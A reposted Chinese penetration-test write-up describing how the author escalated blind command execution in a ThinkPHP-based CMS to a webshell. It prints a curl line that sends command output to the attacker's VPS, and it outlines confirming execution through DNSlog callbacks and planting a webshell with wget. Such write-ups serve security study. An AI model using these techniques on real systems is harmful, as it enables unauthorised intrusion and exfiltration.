实战|无回显Rce到Getshell

admin 2023年1月9日15:38:10评论122 views字数 1376阅读4分35秒阅读模式
作者:海鸥i
转自先知社区:https://xz.aliyun.com/t/8436


前言


某次渗透测试中,信息收集过程中找到一个登陆界面。
其中在测试逻辑漏洞过程中,修改参数的时候爆出了Debug,才有了接下来的过程。

如有哪里不足,望师傅们指出。

1、Rce

实战|无回显Rce到Getshell
通过Debug信息得知,这是一个thinphp的cms。
之前thinkphp的日志泄露漏洞屡试不爽,于是想先找日志。

实战|无回显Rce到Getshell

通过Debug可以得知他的根目录在/www/wwwroot/devorder/public,我们只能访问Public目录下的文件,访问不到runtime目录,只能另辟蹊径。

实战|无回显Rce到Getshell

在最下边找到了Cms的版本号,于是去网上找这个版本公开的漏洞。

实战|无回显Rce到Getshell

经过寻找、测试,发现存在由变量覆盖导致的Rce漏洞。
具体漏洞分析可以参考

 https://blog.csdn.net/xuandao_ahfengren/article/details/86333189

直接使用网上的Payload提示执行命令的函数被禁用,估计是Disable_function的作用。

实战|无回显Rce到Getshell

实战|无回显Rce到Getshell

其中有几个执行命令的函数发送请求后会直接返回登陆界面,未知执行状态。

实战|无回显Rce到Getshell

于是找了一个在线的DnsLog平台,这种平台会随机给一个子域名
如果对子域名发送Http、Icmp的包,平台就会接收到数据包,从而判断命令是否执行。
这种方式在sql注入中这种方式也有奇效。
具体使用方法可以参考这位师傅写的文章:

https://www.cnblogs.com/sstfy/p/10351807.html

在这里执行了几次Ping之后还是收不到返回,猜测可能Icmp包被拦了,改为用Curl请求子域名。

实战|无回显Rce到Getshell

成功收到请求

实战|无回显Rce到Getshell

这种在线的只能简单的验证是否存在Rce,无法获得命令回显。

如果想获得命令回显,可以使用在线的Ceye平台来接收回显。

也可以使用自己的Vps来接收回显

在Vps开启Web服务或防火墙没有禁用Icmp的时候,发送Http或Icmp包后会在日志中留下记录,直接查看日志记录即可获得命令回显。

例如:
curl http://Vps/`command`

这里使用返单引号将要执行的命令包裹,原理是在Linux中执行命令会首先执行反单引号中的命令,并将其结果输出。
这段代码在执行完whoami后,会将返回的值拼接到http://Vps/ 后。

我这里选择开启Web服务
再看这次返回结果,日志中的访问记录是http://Vps/www ,可以得知目标系统是Linux,并且使用WWW权限开启的Web服务。

实战|无回显Rce到Getshell

实战|无回显Rce到Getshell

Getshell


尝试了bash反弹Shell的方式没有弹回来。
这里不知道为什么使用echo >> 的方法写不进去,最后使用Wget下载文件到指定目录。

以上两个问题,有知道的师傅方便的话通过评论告我一声,先行谢过。
通过Debug中的绝对路径写WebShell后找不到写的Webshell,于是在Web目录下查找登陆界面,成功得到真.绝对路径。

实战|无回显Rce到Getshell

实战|无回显Rce到Getshell

将Webshell写在VPS中,再次使用Wget下载Webshell到真.绝对路径,成功Getshell。

实战|无回显Rce到Getshell

实战|无回显Rce到Getshell

实战|无回显Rce到Getshell

1. 实战|利用SCF文件攻击进行渗透实战

2. 10个Web日志安全性分析工具

3. 实战|内网渗透--突破安全策略上线CS

4. 实战 | 绕过360安全套装+云锁提权案例

原文始发于微信公众号(乌雲安全):实战|无回显Rce到Getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月9日15:38:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战|无回显Rce到Getshellhttps://cn-sec.com/archives/629689.html

发表评论

匿名网友 填写信息